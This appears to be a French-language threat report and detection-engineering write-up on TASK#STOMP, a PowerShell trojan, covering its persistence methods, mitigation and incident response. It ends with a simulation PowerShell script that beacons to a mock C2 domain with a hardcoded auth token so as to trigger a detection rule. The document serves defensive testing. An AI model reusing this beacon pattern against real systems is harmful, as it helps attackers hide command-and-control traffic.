TASK#STOMP : Backdoor PowerShell pour le Vol de Documents et l’Accès à Distance

Résumé

TASK#STOMP est un cheval de Troie basé sur PowerShell, résilient, qui utilise l’orchestration VBScript pour établir plusieurs mécanismes de persistance. Le malware utilise une compilation C# à l’exécution pour contourner la validation des certificats TLS et maintient deux canaux C2 redondants pour les opérations d’espionnage. Ses capacités incluent le vol automatisé de documents, la surveillance et l’exécution de commandes à distance arbitraires sur des systèmes Windows compromis.

Enquête

Securonix Threat Research a effectué une analyse statique et dynamique de la chaîne d’infection Windows pilotée par script. Les chercheurs ont décodé des charges utiles encodées en Base64, y compris diag_pack.dat and win_conn_cfg.dat, et ont reconstruit l’arbre de processus d’exécution. L’enquête a également révélé des techniques de falsification de temps, de rotation de tâches planifiées et de compilation .NET à l’exécution utilisées pour échapper à la détection de sécurité.

Atténuation

Les défenseurs devraient surveiller les relations de processus suspectes, en particulier wscript.exe or cscript.exe lancement de schtasks.exe avec des définitions XML stockées dans des répertoires accessibles en écriture par l’utilisateur. Activer la journalisation des blocs de script PowerShell et la télémétrie AMSI peut aider à identifier le décodage des charges utiles en mémoire. Bloquer les domaines C2 connus et détecter les csc.exe processus enfants inattendus lancés par PowerShell peut également perturber l’exécution.

Réponse

Si une activité TASK#STOMP est détectée, les intervenants devraient supprimer tous les points d’ancrage de persistance de manière coordonnée, y compris les tâches planifiées et les entrées de dossier de démarrage. Les instances actives de VBScript et PowerShell associées au répertoire WinDefendSvc devraient être terminées. Les fichiers XML de tâche et les charges utiles .dat mises en scène doivent être conservés pour une analyse judiciaire avant la remédiation.

Mots-clés : TASK#STOMP, cheval de Troie PowerShell, VBScript, persistance multi-ancrage, compilation C#, validation des certificats TLS, C2 redondant, vol de documents, surveillance, exécution de commandes à distance, Securonix Threat Research, Base64, diag_pack.dat, win_conn_cfg.dat, falsification de temps, rotation des tâches planifiées, compilation .NET, wscript.exe, cscript.exe, schtasks.exe, journalisation des blocs de script, AMSI, csc.exe, WinDefendSvc.

Exécution de Simulation

• Narration & Commandes d’attaque : L’adversaire a réussi à établir une persistance sur un poste de travail en utilisant un cheval de Troie TASK#STOMP. Pour recevoir de nouvelles instructions et exfiltrer les données volées, le malware initie une session PowerShell. Le script est conçu pour se faire passer pour un trafic web légitime en communiquant avec un domaine qui imite un service de partage de fichiers (corecloudfileshare.xyz). Pour s’assurer que seul le cheval de Troie autorisé peut communiquer avec le C2, le script inclut un X-Auth-Token codé en dur dans les en-têtes de la requête HTTP. Cette combinaison spécifique de destination et d’en-tête est le déclencheur principal de notre logique de détection.

• Script de test de régression :

  # Script de simulation TASK#STOMP
  # Objectif : Imiter la communication C2 pour déclencher la règle de détection
  
  $C2Domain = "http://corecloudfileshare.xyz/api/checkin"
  $Headers = @{
      "X-Auth-Token" = "STOMP_DEBUG_TOKEN_9928374"
      "User-Agent"   = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
  }
  
  Write-Host "[+] Initie la communication C2 simulée au $C2Domain..."
  try {
      # Nous utilisons -ErrorAction SilentlyContinue car le domaine ne se résoudra pas dans un environnement de test réel
      Invoke-WebRequest -Uri $C2Domain -Headers $Headers -Method Get -ErrorAction SilentlyContinue
      Write-Host "[+] Commande envoyée."
  } catch {
      Write-Host "[!] Connexion échouée (attendu si le domaine est inexistant), mais une télémétrie devrait être générée."
  }

• Commandes de nettoyage :

  # Aucun artefact persistant créé par le script de simulation.
  # Si un fichier a été déposé, utilisez : Remove-Item -Path "C:pathtosimulated_malware.exe" -Force
  Write-Host "[+] Nettoyage de simulation terminé. Aucun artefact supprimé."